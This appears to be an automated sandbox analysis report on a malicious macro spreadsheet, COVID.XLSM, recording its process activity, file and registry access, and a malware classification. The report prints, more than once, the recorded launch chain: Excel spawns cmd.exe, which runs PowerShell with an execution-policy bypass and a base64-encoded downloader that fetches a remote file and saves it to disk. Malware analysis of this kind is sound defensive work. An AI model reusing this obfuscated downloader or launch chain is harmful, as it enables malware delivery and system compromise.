Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v...._...............uH.j....x................T.............}..v...........0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....k....... ........K.j.....!l...............T.............}..v............0...............8.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....k...............uH.j....@/................T.............}..v...../......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v....@.......0.................".....j.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....x.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............A.t. .l.i.n.e.:.3.0. .c.h.a.r.:.5.1.............}..v............0.................l.....$.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....@.................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".....x.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....P.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....P.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ . . . .R.u.n.t.i.m.e.E.x.c.e.p.t.i.o.n.........}..v....h.......0.................l.....(.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j.... .................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".....`.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ ..........j......l...............T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....H.................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v....H.......0.................".....j.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............A.t. .l.i.n.e.:.3.1. .c.h.a.r.:.2.8.............}..v............0.................l.....$.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j....H.................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".....j.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....@.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....@.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ . . .e.p.t.i.o.n.l...............T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v....0.......0.................".....`.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j......................T.............}..v....h.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#....... ..........j......l...............T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#..................j......................T.............}..v....0.......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v....7..................j......l...............T.............}..v....P.......0.................".....j.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....7..................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....C.......A.t. .l.i.n.e.:.3.5. .c.h.a.r.:.2.7.............}..v............0.................l.....$.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....C..................j....P.................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....O.......+. . . . . .$.r.e.s.p.o.n.s.e._.s.t.r.e.a.m...C.l.o.s.e. .<.<.<.<. .(.)...........l.....H.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....O..................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v....[..................j......l...............T.............}..v............0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....[..................j......................T.............}..v............0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................0.......g....... . . .p.t.i.o.n.8bX..... .........T.............}..v............ .................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....g..................j....p ................T.............}..v..... ......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v....s..................j......l...............T.............}..v.....&......0.................".....`.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....s..................j.....&................T.............}..v....P'......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ ..........j......l...............T.............}..v.....*......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.......................j.....+................T.............}..v.....,......0...............H.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j....x.................T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............a.l.i.d. .W.i.n.3.2. .a.p.p.l.i.c.a.t.i.o.n.....}..v.... .......0...............8.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j......................T.............}..v....X.......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............A.t. .l.i.n.e.:.3.8. .c.h.a.r.:.1.8.............}..v....h.......0...............8.l.....$.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j.... .................T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v............0.................".....\.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j....x.................T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v.....#......0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j....x$................T.............}..v.....$......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ . . .e.r.a.t.i.o.n.E.x.c.e.p.t.i.o.n...........}..v.....)......0...............8.l.....&.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j.....)................T.............}..v....H*......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v.......................j......l...............T.............}..v.....1......0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j.....1................T.............}..v....H2......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ . . .o.m.m.a.n.d.s...S.t.a.r.t.P.r.o.c.e.s.s.C.o.m.m.a.n.d.....0...............8.l.....<.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j....@7................T.............}..v.....7......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v............ ..........j......l...............T.............}..v....P;......0...............8.l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................u..j.....<................T.............}..v.....<......0.................l.............................	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 'powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwA	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$COVID.XLSM

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC3CB.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.expl.evad.winXLSM@5/4@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Source: COVID.XLSM	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: COVID.XLSM	Initial sample: OLE zip file path = xl/worksheets/sheet4.xml
Source: COVID.XLSM	Initial sample: OLE zip file path = xl/media/image1.png
Source: COVID.XLSM	Initial sample: OLE zip file path = xl/drawings/vmlDrawing2.vml
Source: COVID.XLSM	Initial sample: OLE zip file path = xl/comments1.xml
Source: COVID.XLSM	Initial sample: OLE zip file path = xl/comments2.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000004.00000002.2104750981.0000000002926000.00000004.00000001.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
